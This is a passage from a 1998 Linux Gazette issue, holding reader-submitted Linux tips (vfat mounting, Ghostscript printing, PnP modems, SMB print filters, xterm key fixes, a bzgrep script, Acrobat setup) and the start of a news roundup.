And /etc/fstab lists all mountable devices. The devices remaining are extended partitions, a kind of a partition envelope, which you don't want to mount. And the partition's allocated to other operating systems which you may want to mount. 4) Create a mount point for your DOS disk by issuing the following commands as root: mkdir /C chown dos:dos /C With this setup, the C: drive is mounted at boot time to /C. Only root and ejy can read and write to it. Note that vfat in /etc/fstab works for vfat16 (and vfat32 natively for Linux 2.0.34 and above). Enjoy... _________________________________________________________________ Re: Canon BJC-250 question Date: Fri, 2 Oct 1998 21:32:20 +0200 (CEST) From: rsmith@xs4all.nl In issue 33 of the Linux Gazette you wrote: I have a Canon BJC-250 color printer. I have heard many people say that the BJC-600 printer driver will let me print in color. But I have not heard anyone say where I can get such a driver. I have looked everywhere but where it is. Can you help me? When people are talking about printer drivers for Linux, they are mostly referring to a piece of code that enables the "Ghostscript" program to produce output on your printer. Ghostscript is an interpreter of the Postscript page-description language. In the Unix world, it is kind of a lingua franca of talking to a printer. A lot of programs can produce Postscript output. More expensive printers support Postscript in hardware, other printers need Ghostscript with a driver for that particular printer compiled in. Invoke Ghostscript as "gs -?" to see a list of all the printers for which support is compiled in. If your printer is not in the list, use a driver for a printer from the same family. Otherwise you might have to compile GhostScript with another driver. The Ghostscript 5.1 that I'm using (Debian distro) is compiled with the bjc600 driver. Roland _________________________________________________________________ Re: Help : Modem + HP Date: Fri, 2 Oct 1998 21:20:58 +0200 (CEST) From: Roland Smith, rsmith@xs4all.nl In issue 33 of the Linux Gazette you wrote: I have already spent hours trying to fix my Supra336 PnP internal modem and my HP DeskJet 720C under Linux! The result is always the same, no communication with teh modem and no page printed on the HP printer! Could someone help me, I am close to abandon! To use a Plug-and-Play device under Linux, you have to configure it. For that, you can use isapnptools package. It will probably be included with your distribution. Log in as root, and execute the command "pnpdump >isapnp.conf" Now edit this file to choose sensible values for the parameters the modem requires. Read the isapnp.conf man page. You might want to do "cat /proc/interrupts", "cat /proc/dma" and "cat /proc/ioports" to see which interrupts, DMA channels and I/O addresses are already in use. Once you're finished. copy the isapnp.conf file to /etc (as root). You can now configure the card by issuing the command "isapnp /etc/isapnp.conf" as root. This probably must be done before the serial ports are configured. Look at the init(8) manpage, and see where the serial ports are configured in the system initialization scripts. Make sure that isapnp is called before the serial ports are configured. If the modem is an internal one, you might have to disable one of the serial ports in your BIOS, so the modem can use in's address and interrupt. Now, about the printer, AFIAK all HP *20 models are Windows-only printers. They use the host computer's CPU to perform all kinds of calculations that are normally done by the printer hardware. Therefore it needs a driver. Since HP doesn't release programming info on these devices, there will probably never be Linux drivers for these printers. You should avoid this kind of brain-dead hardware (mostly referred to as "winprinters", or "winmodems"). Hope this helps :-) Roland _________________________________________________________________ Gnat and Linux: C++ and Java Under Fire LG #33 Date: Fri, 2 Oct 1998 14:47:46 -0400 From: "Terry Westley", twestley@buffalo.veridian.com If you want the best of both worlds of Java and Ada, write applets targeted to the JVM in Ada! See these URLs for further info: http://www.adahome.com/Resources/Ada_Java.html http://www.buffnet.net/~westley/AdaJava/ -- Terry J. Westley _________________________________________________________________ Re: Canon BJC-250 question Date: Fri, 2 Oct 1998 10:21:52 -0500 (CDT) From: mhammel@graphics-muse.org You asked: I have a Canon BJC-250 color printer. I have heard many people say that the BJC-600 printer driver will let me print in color. But I have not heard anyone say where I can get such a driver. I have looked everywhere but where it is. Can you help me? Most printing on Linux is handled through the use of the Ghostscript drivers. Ghostscript takes postscript input directed to it via the lpr command and converts it to the raw data streams that a particular output device can handle. Ghostscript can handle devices like printers but can also be used to display postscript files to your display (via the ghostview program). To see if you have ghostscript installed, type the following: % gs -v "gs" is the command name for the ghostscript program (yes, it's really a program that has a bunch of output drivers compiled into it). The -v option asks it to print version information. If you have gs installed you'll see something like this: Aladdin Ghostscript 4.03 (1996-9-23) Copyright (C) 1996 Aladdin Enterprises, Menlo Park, CA. All rights reserved. Usage: gs [switches] [file1.ps file2.ps ...] Most frequently used switches: (you can use # in place of =) -dNOPAUSE no pause after page | -q `quiet', fewer messages -gx page size in pixels | -r pixels/inch resolution -sDEVICE= select device | -c quit (as the last switch) | exit after last file -sOutputFile= select output file: - for stdout, |command for pipe, embed %d or %ld for page # Input formats: PostScript PostScriptLevel1 PostScriptLevel2 PDF Available devices: x11 x11alpha x11cmyk x11mono deskjet djet500 laserjet ljetplus ljet2p ljet3 ljet4 cdeskjet cdjcolor cdjmono cdj550 pj pjxl pjxl300 bj10e bj200 bjc600 bjc800 faxg3 faxg32d faxg4 pcxmono pcxgray pcx16 pcx256 pcx24b pbm pbmraw pgm pgmraw pgnm pgnmraw pnm pnmraw ppm ppmraw tiffcrle tiffg3 tiffg32d tiffg4 tifflzw tiffpack tiff12nc tiff24nc psmono bit bitrgb bitcmyk pngmono pnggray png16 png256 png16m pdfwrite nullpage Search path: . : /usr/openwin/lib/X11/fonts/Type1 : /usr/openwin/lib/X11/fonts/Type3 : /opt/AEgs/share/ghostscript/4.02 : /opt/AEgs/share/ghostscript/fonts For more information, see /opt/AEgs/share/ghostscript/4.02/doc/use.txt. Report bugs to ghost@aladdin.com; use the form in new-user.txt. (the dashed lines are just to delimit the output from my email message) This output comes from a version of ghostscript built for a Solaris system by someone other than myself. I don't know if this is the default set of devices you'll see on a Linux distribution or not. The "available devices" say which devices you can use with gs. In this case the bubble jet 250 is not specifically listed (I suspect it would say bjc250, but I could be wrong), so I would (if I were using that particular printer) have to get the source and read the devices.txt file to find out if this printer is supported, either by its own driver or by one of the other drivers (perhaps the bjc600 supports it, for example). This is the short explanation. To summarize, you'll need to familiarize yourself with Ghostscript and using lpr. If you're lucky and this printer is commonly supported by the various Linux distributions then you may already have this printer configured in the ghostscript you have installed on your box. For information on Ghostscript you'll need to look at the Ghostscript FAQ at http://www.cs.wisc.edu/~ghost/gsfaq.html. Note that there are two versions of Ghostscript: Aladdin's and the GNU version. Aladdin's is a commercial product but it's free for personal use. If you're not planning on redistributing it then I recommend the Aladdin version. Okay, that's all the good news. I just checked the devices list at http://www.cs.wisc.edu/~ghost/aladdin/devices.html and it doesn't list the Canon Color Bubble Jet 250. If this printer is supported it's either with a newer, unlisted driver or by one of the other drivers. You'll probably need to check the .txt files that come with the source, find the author of the Color Bubble Jet drivers and drop them a line to see if they know if this printer will work with one of the existing drivers. Hope that helps point you in the right direction. Michael J. Hammel, The Graphics Muse _________________________________________________________________ re: problem mounting vfat filesystem Date: Fri, 2 Oct 1998 08:20:38 -0500 (CDT) From: Scott Carlson, ScottCarlson@technologist.com Jan, My /etc/fstab contains this line: /dev/hda4 /f: vfat defaults,umask=007,gid=101 1 1 This mounts my dos directory at /f: ( to match when I boot NT ) it allows root, or anyone in the group 101 to read or write the directory. I set up the 101 group so I could say only people in that group could write to /f: To allow everyone change it to defaults,umask=000 Scott Carlson _________________________________________________________________ SMB Printing for users with spaces in their SMB username Date: Tue, 06 Oct 98 14:31:42 -0800 From: vwdowns@bigfoot.com In order to get SMB printing to work under Red Hat Linux 5.1 with my username (which has a single space in it), I made the following addition to the Red Hat print filter "smbprint", located in: /usr/lib/rhs/rhs-printfilters/smbprint USER="`echo $usercmd | awk '{printf "%s %s", $2, $3}'`"%$password usercmd="" (The above lines were inserted just prior to the last line in the script, which on my system was): (echo "print -"; cat) | /usr/bin/smbclient "$share" $password -E ${hostip:+-I} $hostip -N -P $usercmd 2>/dev/null This has the effect of setting the USER variable to "User Name"%password, where User Name is the name of the user as passed in to the script in the $usercmd varible. AWK is used to strip out the leading "-U" supplied as part of $usercmd somewhere up the command chain. This solution only works for usernames with a single space in them. A more complex and full-featured solution would deal with no spaces or multiple spaces, either way. In any case, I feel Red Hat should find a general solution to this and incorporate it in their next release. Warren P.S. Thanks for a great forum for sharing tips and tricks for Linux. BTW, does Red Hat read these tips? I'd appreciate it if someone would submit this bug to them for fixing. Generalized fix for SMB printing-- usernames w/spaces Date: Wed, 07 Oct 98 06:38:02 -0800 From: vwdowns@bigfoot.com I wrote you earlier about a bug in Red Hat 5.1's /usr/lib/rhs/rhs-printfilters/smbprint I later realized a simple generalized solution, by looking at the source code in more detail. The lines I added before can be replaced with: export USER="$user"%$password usercmd="" (Just prior to the last line which calls smbclient). For a more full-featured fix, simply modify the setting of $usercmd to: 1. Replace references to $usercmd with references to $USER. 2. $USER should be set/exported conditionally as $usercmd is at present. 3. $usercmd should be removed entirely from usage. The only reliable way to pass a username/password to smbclient is via the USER environment variable. 1. The environment variable will not be seen on the cmd line by someone running ps, thus not exposing your password accidentally. 2. User names/passwords passed on the command line cannot contain spaces. If you embed them in quotes, smbclient keeps the quotes instead of trimming them off, causing username/password mismatch on the server. If you leave off the quotes, normal command-line parsing separates the username/password into separate parameters, and only the first word of each will get used. Anyone using Red Hat print-filters will want to fix this, just in case they ever decide to set up SMB printing and are stuck with spaces in their username/password (as I am). Warren E. Downs _________________________________________________________________ 2 Cent Tip -- Netscape Date: Sun, 11 Oct 1998 10:37:37 +0200 (MET DST) From: Hans-Joachim Baader, hans@grumbeer.inka.de we all use Netscape every now and then. Most people won't use it as mailreader since it is too bloated, and the UNIX mailreaders are generally much better. Nevertheless, Netscape seems to create a directory nsmail in the user's home directory every time it starts and doesn't find it, even if mail is not used. This is annoying. Here's a trick which doesn't make this directory go away, but at least makes it invisible. I didn't find a GUI equivalent to change this setting so you have to do the following: Edit the file ~/.netscape/preferences.js and change all occurences of 'nsmail' to '.netscape'. The important thing here is, of course, the leading dot before 'netscape'. Regards, hjb _________________________________________________________________ Cobol Date: Wed, 14 Oct 1998 23:10:35 +1000 From: "John Leach", leachj@ozemail.com.au To: cbbrowne@hex.net I saw your request for help in the Linux Gazette re Cobol. I've been using AcuCobol for 2 years under Linux and I strongly recommend the product and the company. I don't know the cost of the compiler because my company bought it - but email them and ask for a student copy - they can only refuse... They have a full development environment called 'AcuBench' which currently only runs only under Windows. The amazing thing about AcuCobol is that programs compiled on one platform will run totally unchanged on another machine - I tend to develop under Windows but install at clients sites on Linux. I hope this has been helpful. Regards John Leach _________________________________________________________________ Piped Signatures Date: Fri, 16 Oct 1998 17:03:41 +0000 From: Colin Smith, colin@melly.europe.dg.com This has probably come up before, but the "more fun with pipes" thing in issue 33 reminded me of it. Have a different signature appear in your emails every time you send one. Create a subdrectory in your home called .signatures and copy your .signature file into it under a visible name. delete your .signature file and create a pipe in its place using mkfifo .signature Create a script which simply "cat"s each of the files in the .signatures directory out to the .signature pipe: #!/bin/sh while true do for SIGNATURE in ${HOME}/.signatures/* do # Cat each file out to the .signature and throw away any errors . cat ${SIGNATURE} > ${HOME}/.signature 2> /dev/null # This sleep seems to be required for Netscape to work properly # I think buffering on the filesystem can cause multiple signat ures # to be read otherwise. I think the sleep allows Netscape to se e # the End Of File. sleep 1 done done Have this script kick off in the background every time you log in to the system in your profile or xsession. Add more entries to the .signatures directory and they automatically get used in your emails. Issues and problems: One issue might be blocking on the pipe. If there is no process feeding signature files down the pipe, any programs which open the pipe can appear to hang until something is written. -- Colin Smith _________________________________________________________________ Fixing backspace and delete Key in X-windows Date: Sun, 18 Oct 1998 17:40:28 +1000 From: "Steven K.H. Siew", ksiew@tig.com.au If you have installed Red Hat version 5.0, you will have come across this problem. It will not take you long to realise that the backspace key (by this I mean the key above the ENTER key) and the delete key (by this I mean the key below the INSERT key and to the left of the END key) behaves differently on the console than on xterm in X-windows. This is extremely irritating if like me you work in both the text-only console and xterm on X-windows. I set about to make sure that the behaviour is the same on both of them. In other words I want them to be standardise. My solution is to make the backspace, delete and the pageup and pagedown key to behave exactly like they do in the text-only console. The literature to do this is available on the web, however here I shall show those who have not done this yet, the steps needed to acheive this. A word of warning! This is dangerous. You can potentially stuff things up very very badly. In other words you must do this extremely carefully (and make lots of backups). For your information I included the links below where you may obtain more details about this matter. http://www.best.com/~aturner//RedHat-FAQ/ http://www.ibbnet.nl/~anne/keyboard.html Okay now for the step by step instruction to fix the problem Step one * * * is to create a directory to store the original files ksiew > mkdir original-terminfo-file ksiew > cd original-terminfo-file/ original-terminfo-file > pwd /home/ksiew/original-terminfo-file Step two * * * is to save the original copy of the xterm terminfo file original-terminfo-file > locate xterm | grep terminfo | grep x/xterm /usr/lib/terminfo/x/xterm /usr/lib/terminfo/x/xterm-bold /usr/lib/terminfo/x/xterm-color /usr/lib/terminfo/x/xterm-nic /usr/lib/terminfo/x/xterm-pcolor /usr/lib/terminfo/x/xterm-sun /usr/lib/terminfo/x/xterms /usr/lib/terminfo/x/xterms-sun original-terminfo-file > cp /usr/lib/terminfo/x/xterm xterm.original original-terminfo-file > ls -al total 5 drwxrwxr-x 2 ksiew ksiew 1024 Oct 18 15:35 . drwxr-xr-x 24 ksiew ksiew 2048 Oct 18 15:31 .. -rw-rw-r-- 1 ksiew ksiew 1380 Oct 18 15:35 xterm.original Step three * * * is to obtain the xterm terminfo settings and save it into a file called "xterm" in the current directory original-terminfo-file > infocmp xterm > xterm original-terminfo-file > less ./xterm # Reconstructed via infocmp from file: /usr/lib/terminfo/x/xterm xterm|vs100|xterm terminal emulator (X11R6 Window System), am, km, mir, msgr, xenl, xon, cols#80, it#8, lines#65, acsc=``aaffggjjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~..--++\ 054\054hhII00, bel=^G, bold=\E[1m, clear=\E[H\E[2J, cr=^M, csr=\E[%i%p1%d;%p2%dr, cub=\E[%p1%dD, cub1=^H, cud=\E[%p1%dB, cud1=^J, cuf=\E[%p1%dC, cuf1=\E[C, cup=\E[%i%p1%d;%p2%dH, cuu=\E[%p1%dA, cuu1=\E[A, dch=\E[%p1%dP, dch1=\E[P, dl=\E[%p1%dM, dl1=\E[M, ed=\E[J, el=\E[K, enacs=\E(B\E)0, home=\E[H, ht=^I, ich=\E[%p1%d@, ich1=\E[@, il=\E[%p1%dL, il1=\E[L, ind=^J, is2=\E[r\E[m\E[2J\E[H\E[?7h\E[?1;3;4;6l\E[4l, kbs=^H, kcub1=\EOD, kcud1=\EOB, kcuf1=\EOC, kcuu1=\EOA, kend=\EOe, kent=\EOM, kf1=\E[11~, kf10=\E[21~, kf11=\E[23~, kf12=\E[24~, kf2=\E[12~, kf3=\E[13~, kf4=\E[14~, kf5=\E[15~, kf6=\E[17~, kf7=\E[18~, kf8=\E[19~, kf9=\E[20~, khome=\EO\200, kich1=\E[2~, kmous=\E[M, knp=\E[6~, kpp=\E[5~, rc=\E8, rev=\E[7m, ri=\EM, rmacs=^O, rmam=\E[?7l, rmcup=\E[2J\E[?47l\E8, rmir=\E[4l, rmkx=\E[?1l\E>, rmso=\E[m, rmul=\E[m, rs1=^O, rs2=\E[r\E[m\E[2J\E[H\E[?7h\E[?1;3;4;6l\E[4l\E<, sc=\E7, sgr0=\E[m, smacs=^N, smam=\E[?7h, smcup=\E7\E[?47h, smir=\E[4h, smkx=\E[?1h\E=, smso=\E[7m, smul=\E[4m, tbc=\E[3k, u6=\E[%i%d;%dR, u7=\E[6n, u8=\E[?1;2c, u9=\E[c, Step four * * * is to modify the file called "xterm" in the current directory to change the kbs setting and to insert a new kdch1 setting Change from kbs=^H, kcub1=\EOD, kcud1=\EOB, kcuf1=\EOC, kcuu1=\EOA, kend=\EOe, kent=\EOM, to kbs=\177, kcub1=\EOD, kcud1=\EOB, kcuf1=\EOC, kcuu1=\EOA, kdch1=\E[3~, kend=\EOe, kent=\EOM, Step five * * * is to create a .terminfo directory, setup the TERMINFO, setup TERM as xterm, change into superuser and then recompile the "xterm" settings file original-terminfo-file > mkdir ~/.terminfo original-terminfo-file > export TERMINFO=~/.terminfo If you are using tcsh, type instead original-terminfo-file > setenv TERMINFO ~/.terminfo original-terminfo-file > export TERM=xterm If you are using tcsh, type instead original-terminfo-file > setenv TERM xterm original-terminfo-file > su password: opensesame #| tic xterm Step six * * * is to change to the ~/.terminfo/x/ directory and copy the xterm file to /usr/lib/terminfo/x/xterm #| cd ~/.terminfo/x/ #| cp xterm /usr/lib/terminfo/x/xterm #| cd ~ #| rm -rf .terminfo #| exit ksiew> Step seven * * * is to logoff and log back on (this is to get rid of the TERMINFO variable) and change the .Xdefaults file ksiew> logout login: ksiew password: opensesame ksiew> less .Xdefaults Output from less Now change the last few lines from xterm*VT100.Translations: #override\n\ gt;Prior : scroll-back(1,page)\n\ gt;Next : scroll-forw(1,page) nxterm*VT100.Translations: #override\n\ gt;Prior : scroll-back(1,page)\n\ gt;Next : scroll-forw(1,page) to the following lines xterm*VT100.Translations: #override\n\ gt;Prior : string("\033[5~")\n\ gt;Next : string("\033[6~") nxterm*VT100.Translations: #override\n\ gt;Prior : string("\033[5~")\n\ gt;Next : string("\033[6~") *VT100.Translations: #override \ gt;BackSpace: string(0x7F)\n\ gt;Delete: string("\033[3~")\n\ gt;Home: string("\033[1~")\n\ gt;End: string("\033[4~") *ttyModes: erase ^? That's it! Save the .Xdefaults file and now you can start X-windows and the backspace key, the delete key, the pageup key and the pagedown key will work just like in the text-only console window. Steven _________________________________________________________________ Creating bzgrep Program Date: Sun, 18 Oct 1998 17:35:43 +1000 From: "Steven K.H. Siew", ksiew@tig.com.au If you have ever used zgrep on gzip-textfiles then you would have realise what a wonderful it is. The program zgrep allows you to grep a textfile even if the text file is compressed in gzip format. Not only that it can also grep a uncompress textfile. For example if you have the following directory testing > ls -al total 2086 drwxrwxr-x 2 ksiew ksiew 1024 Oct 18 11:07 . drwxr-xr-x 24 ksiew ksiew 2048 Oct 18 11:00 .. -rwxrwxr-x 1 ksiew ksiew 1363115 Oct 18 11:01 cortes.txt -rwxrwxr-x 1 ksiew ksiew 172860 Oct 18 11:01 lost_world_10.txt.gz -rwxrwxr-x 1 ksiew ksiew 582867 Oct 18 11:00 moon10a.txt Then if you are looking for the word "haste", testing > zgrep -l haste * cortes.txt lost_world_10.txt.gz moon10a.txt Tells you that "haste" is in all three files. Now if you compress a textfile using the famous bzip2 compress program, you have a problem. testing > bzip2 cortes.txt testing > ls -al total 1098 drwxrwxr-x 2 ksiew ksiew 1024 Oct 18 11:12 . drwxr-xr-x 24 ksiew ksiew 2048 Oct 18 11:12 .. -rwxrwxr-x 1 ksiew ksiew 355431 Oct 18 11:01 cortes.txt.bz2 -rwxrwxr-x 1 ksiew ksiew 172860 Oct 18 11:01 lost_world_10.txt.gz -rwxrwxr-x 1 ksiew ksiew 582867 Oct 18 11:00 moon10a.txt testing > zgrep -l haste * lost_world_10.txt.gz moon10a.txt What happen now is that zgrep no longer recognise the file cortes.txt.bz2 as a compress text file. What we need is a new program bzgrep which can recognise bzip2 compress text files. The best way to create bzgrep file is to modify the existing zgrep file. testing > locate zgrep /usr/bin/zgrep /usr/man/man1/zgrep.1 testing > su password: opensesame #| cp /usr/bin/zgrep /usr/local/bin/bzgrep The bzgrep file is a copy of zgrep file can contain this text. We cannot change the last few lines to the following res=0 for i do if test $list -eq 1; then bzip2 -cdf "$i" | $grep $opt "$pat" > /dev/null && echo $i r=$? elif test $# -eq 1 -o $silent -eq 1; then bzip2 -cdf "$i" | $grep $opt "$pat" r=$? else bzip2 -cdf "$i" | $grep $opt "$pat" | sed "s|^|${i}:|" r=$? fi test "$r" -ne 0 && res="$r" done exit $res Now the bzgrep file is a program that will be able to grep bzip2 compressed textfiles. BUT there is a problem. bzgrep program WILL NOT recognise ordinary textfiles or gzip compress textfiles. This is a major problem! It means you have to compress all your textfiles with bzip2 in order to use bzgrep program. Luckily there is always a solution in Linux. All we have to do is alter the program to be more choosy on which decompression program to use. ie. Do it uses gzip -cdfq or bzip2 -cdf Now change the last few lines again to resemble this res=0 for i do case "$i" in *.bz2 ) if test $list -eq 1; then bzip2 -cdf "$i" | $grep $opt "$pat" > /dev/null && echo $i r=$? elif test $# -eq 1 -o $silent -eq 1; then bzip2 -cdf "$i" | $grep $opt "$pat" r=$? else bzip2 -cdf "$i" | $grep $opt "$pat" | sed "s|^|${i}:|" r=$? fi ;; * ) if test $list -eq 1; then gzip -cdfq "$i" | $grep $opt "$pat" > /dev/null && echo $i r=$? elif test $# -eq 1 -o $silent -eq 1; then gzip -cdfq "$i" | $grep $opt "$pat" r=$? else gzip -cdfq "$i" | $grep $opt "$pat" | sed "s|^|${i}:|" r=$? fi ;; esac test "$r" -ne 0 && res="$r" done exit $res Finally, this is the contents of a working bzgrep program. Steve _________________________________________________________________ Re: Linux on PalmPilot Date: Sat, 17 Oct 1998 17:00:37 -0600 (MDT) From: "Michael J. Hammel", mjhammel@graphics-muse.org In a previous message, dino jose says: Hi... Mike, I read your article about the Linux in palm pilot.Its very intersting.Iam kind of new in LINUX platform! Because Iam so curious about Linux. I bought a palm pilot 111 the new version of palm with 2meg of memory.the main problem is, I don't know where to get the Linux operating system that it runs on palm pilot 111 the newer version. what about the HOW TO LINUX DOCUMENTATION FROM from its official site? Once I get this software do I run this in Linux operating system then transfer this to palm 111? Iam kind novice in Linux. If you could help me.I would gladly appreciated. Thanks a lot.... Actually, you don't run Linux on the PalmPilot itself (although there is a project to do so - I don't know much about that however). You run Linux on your PC and transfer data files between the Linux system and the Pilot. You still run the same programs you normally would *on* the PalmPilot - it's just that you can transfer these programs and their data file to the Pilot using tools on Linux. Don't let using Linux confuse you. You use Linux in the same way you use Microsoft Windows - it runs on your PC to do word processing or spreadsheets or whatever. You then pass data files back and forth the the Pilot using special tools. If you want to try out a program that helps transfer files back and forth you can try my XNotesPlus. Its a sticky notes program that will allow you do backups of your Pilot to your local hard disk and will transfer the Address database from the Pilot to be used in doing some simple printing of envelopes. You can download the program from http://www.graphics-muse.org/xnotes/xnotes.html. You will also need to get the PilotLink software that I described in the article you read. XNotesPlus uses PilotLink to do the actual data transfers to and from the Pilot. Hope this helps. Michael J. Hammel, The Graphics Muse _________________________________________________________________ Red Hat 5.1 + Acrobat Reader 3.01 HOWTO Date: Thu, 22 Oct 1998 22:55:27 -0400 From: Louis-Philippe Brais, lpbrais@grm94.polymtl.ca Some people I know went nuts trying to install Acrobat Reader 3.01 as a helper app in Netscape, as shipped with Red Hat Linux 5.1. Here's how I've done it: 1. Download Acrobat Reader 3.01 from ftp.adobe.com. Let the installer script install the whole thing under /usr/local/Acrobat3. 2. Create the following shell script: /usr/local/Acrobat3/bin/nsacroread #!/bin/sh unset LD_PRELOAD exec /usr/local/Acrobat3/bin/acroread $* >$HOME/.nsacroread-errors 2>&1 3. Don't forget to make this script executable: # chmod 755 /usr/local/Acrobat3/bin/nsacroread 4. If the directory /usr/local/lib/netscape doesn't already exist, create it. 5. Copy (exactly) the following two files into this directory. mailcap: #mailcap entry added by Netscape Helper application/pdf;/usr/local/Acrobat3/bin/nsacroread -tempFile %s mime.types: #--Netscape Communications Corporation MIME Information #Do not delete the above line. It is used to identify the file type. # #mime types added by Netscape Helper type=application/pdf \ desc="Acrobat Reader" \ exts="pdf" Note: You can do without the last two steps and instead configure the helper apps with the Edit >> Preferences menu of Netscape. This will create similar .mailcap and .mime.types files in the user's home dir. But IMHO the first method is best because this way you can configure Acrobat Reader for all users at once. Cheers, Louis-Philippe Brais _________________________________________________________________ 2 $.25 tips Date: Thu, 22 Oct 1998 11:19:22 -0600 From: Bob van der Poel, bvdpoel@kootenay.com 1. I was having some real problems with Netscape (3.04 Gold) the other day. No matter what I did, I could not get the helpers to work. Somewhere in the back of my mind, I knew that they had worked in the past, but I couldn't see anything that I'd changed. A few messages on various newsgroups turned on the lights: I had upgraded my Bash to 2.0.0--and this version has a bug in it. Expressions of the form ((..) .. ) are interpreted as arithmetic expressions, rather than nested sub-shells. Upgrading to 2.02.1(1) was almost painless and fixed the Netscape problem. To get 2.02.1(1) go to the gnu site (www.gnu.org) and follow the links to the software sections. The new software should compile out of the box (it did for me). One problem I had was that the install script put the new binaries in /usr/local/bin, and since I had my old versions in /usr/bin they weren't found. A quick mv solved that. 2. For a number of years I've been struggling trying to read the results of color-ls on my xterm screens. A number of the colors (green and blue) were just too bright to read. I didn't want to turn down the brightness of my monitor...so I mostly just squinted. For some reason I was looking at the XTerm.ad file, and noticed that the colors could be adjusted! The XTerm.ad file should be located in /usr/lib/X11/app-defaults (or something similar). It is read each time a new xterm start up and sets various options. If you look near the end of this file you'll see a number of definitions for the VT100 colors. I changed: *VT100*color2: green3 to *VT100*color2: green4 and *VT100*color6: cyan3 to *VT100*color6: cyan4 Like magic, the colors are darkened and I can read the results. If you don't want to fool with your global default file, you could also just add the entries to your ~/.Xresources file. -- Bob van der Poel _________________________________________________________________ S3 Virge/DX and XFree Date: Mon, 26 Oct 1998 00:56:25 -0500 (EST) From: "Andy K. Jalics", ab212@acorn.net I had a S3 Virge/DX, and couldn't get it working well in XFree. This made me very mad since there is a specific XFREE_S3V (S3 virge server). I used a borrowed Xaccel, but it made me feel guilty real quick. :) So I decided that I need to get XFree configured well, and then ditch Xaccel. I found that xfree86config can not be well used to configure a Virge. Here are the modelines I use for a mid-range 17 inch monitor @ 16bpp using the SVGA server. *WARNING* If this blows up your monitor/card, It's not my fault, although it shouldn't. Modeline "640x480" 31.5 640 680 720 864 480 488 491 521 ModeLine "640x480" 31.5 640 656 720 840 480 481 484 500 -HSync -VSync Modeline "640x400" 36 640 696 752 832 480 481 484 509 -HSync -VSync Modeline "800x600" 40 800 840 968 1056 600 601 605 628 +hsync +vsync Modeline "800x600" 50 800 856 976 1040 600 637 643 666 +hsync +vsync Modeline "800x600" 60.75 800 864 928 1088 600 616 621 657 -HSync - VSync # Modeline "1024x768" 85.00 1024 1032 1152 1360 768 784 787 823 Modeline "1024x768" 85.00 1024 1052 1172 1320 768 780 783 803 # Modeline "1152x864" 85.00 1152 1240 1324 1552 864 864 876 908 Modeline "1152x864" 85.00 1152 1184 1268 1452 864 880 892 900 This cured me of using Xaccel, and should cure your S3 Virge blues. P.S. A S3 Virge can go up to 1600x1000? Andy _________________________________________________________________ Published in Linux Gazette Issue 34, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ This page maintained by the Editor of Linux Gazette, gazette@ssc.com Copyright © 1998 Specialized Systems Consultants, Inc. "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ News Bytes Contents: * News in General * Software Announcements _________________________________________________________________ News in General _________________________________________________________________ December Linux Journal The December issue of Linux Journal will be hitting the newsstands November 6. The focus of this issue is System Administration. We have an interview with Linus Torvalds and an article about the 2.2 kernel. We also have articles on X administration and performance monitoring tools. Check out the Table of Contents at http://www.linuxjournal.com/issue56/index.html. To subscribe to Linux Journal, go to http://www.linuxjournal.com/ljsubsorder.html. _________________________________________________________________ TIME Talks about Linux Check out this cool article in TIME! http://cgi.pathfinder.com/time/magazine/1998/dom/981026/technology.the _mighty_f1a.html. _________________________________________________________________ Design by Contract Dr. Bertrand Meyer, designer of the Eiffel programming language, was in Seattle to give his one day seminar on "Design by Contract". The purpose of this workstation is teach software engineers this unique object-oriented development method which emphasizes building reliable sytems through well-defined specifications and communication between the different parties to the system. Talking to Dr. Meyer by phone, I asked him how Eiffel was better than Java. He gave me three reasons: * Eiffel supports multiple inheritance. * Eiffel more easily builds container structures such as lists, queues, stacks and trees. * Eiffel has built in support for "design by contract" development. When I asked him about Open Source and Linux, he replied, "Eiffel's primary library was released as open source on August 4, and other libraries will be released in the future. While Eiffel is a commercial product, we see the advantages of Open Source. We were one of the first supporters of Linux, and the Linux community is very important to us." by M. L. Richardson _________________________________________________________________ Debian and the NetWinder It is now possible to boot the Corel NetWinder Computer with Debian GNU/Linux, thanks to the work of Jim Pick and the other team members of the Debian Arm port. A disk image with instructions on how to use it is available from ftp://ftp.jimpick.com/pub/debian/netwinder/bootable-image/ A kernel package of the new ELF kernel (some notes are available at http://www.netwinder.org/~rahphs/knotes.html) This alleviates the need for the chroot environment that previous development work was being conducted in, and allows work to progress even faster than before. This will also allow more people to join in the development effort easily. Open Letter from Corel to Debian _________________________________________________________________ Corel Computer and Red Hat Software Announce Linux Operating System Partnership Ottawa, Canada, October, 27, 1998 Corel Computer and Red Hat Software, Inc. today announced an agreement to bring the Red Hat distribution of Linux to the Corel Computer NetWinder family of thin-clients and thin-servers. Under the three-year agreement, Red Hat will port Red Hat Linux 5.1 and future releases of the software to the StrongARM processor, the underlying architecture of the NetWinder. _________________________________________________________________ SPI Web Pages Active Date: Thu, 29 Oct 1998 10:33:43 -0500 Software in the Public Interest, Inc. is pleased to announce its new web pages. They can be found at http://www.spi-inc.org/. SPI is a non profit organization that was founded to help projects in developing software for the community. Several projects are currently being supported through monetary and hardware donations that have been made to SPI. As SPI is a non profit organization, all donations to it and the projects it supports are tax deductible. Projects that are affiliated with and receive support from SPI are: * Berlin http://www.berlin-consortium.org/ * Debian http://www.debian.org/ * GNOME http://www.gnome.org/ * Linux Standard Base http://www.linuxbase.org/ * Open Source http://www.opensource.org/ * Open Hardware http://www.openhardware.org/ For more information: SPI Press Contact, press@spi-inc.org SPI homepage: http://www.spi-inc.org/ _________________________________________________________________ Amiga/LinuxInfo starts a daily news section for Amiga and Linux The leading printed Amiga magazine in Sweden, AmigaInfo, is starting a daily news section in Swedish for Amiga and Linux news. AmigaInfo will also start a large Linux section (about 25 pages to start with) in the upcoming issue. http://www.xfiles.se/amigainfo/ _________________________________________________________________ Oppression? A student at UCLA, and several of the Linux users there in the dorms claim they are experiencing severe discrimination. The whole story is at http://www.nerdherd.net/oppression/. Take a look! _________________________________________________________________ Debian GNU/Linux 2.0 Hamm The Debian GNU/Linux 2.0 'Hamm' distribution was recently recognized by Australian Personal Computer Magazine http://www.apcmag.com/. It received the 'Highly Commended Award' for being 'a very high-quality distribution, with an extensive selection of carefully prepared software packages. More information including a review of the distribution can be found at http://apcmag.com/reviews/9809/linux.htm. _________________________________________________________________ Check Out This New Mailing List Check out lug_support@ntlug.org About this mailing list: The purpose of this mailing list is to an open forum to discuss anything related to starting, growing and maintaining Linux User Groups. Whether you are trying to get a new LUG started and need some practical advice, or have built one already and 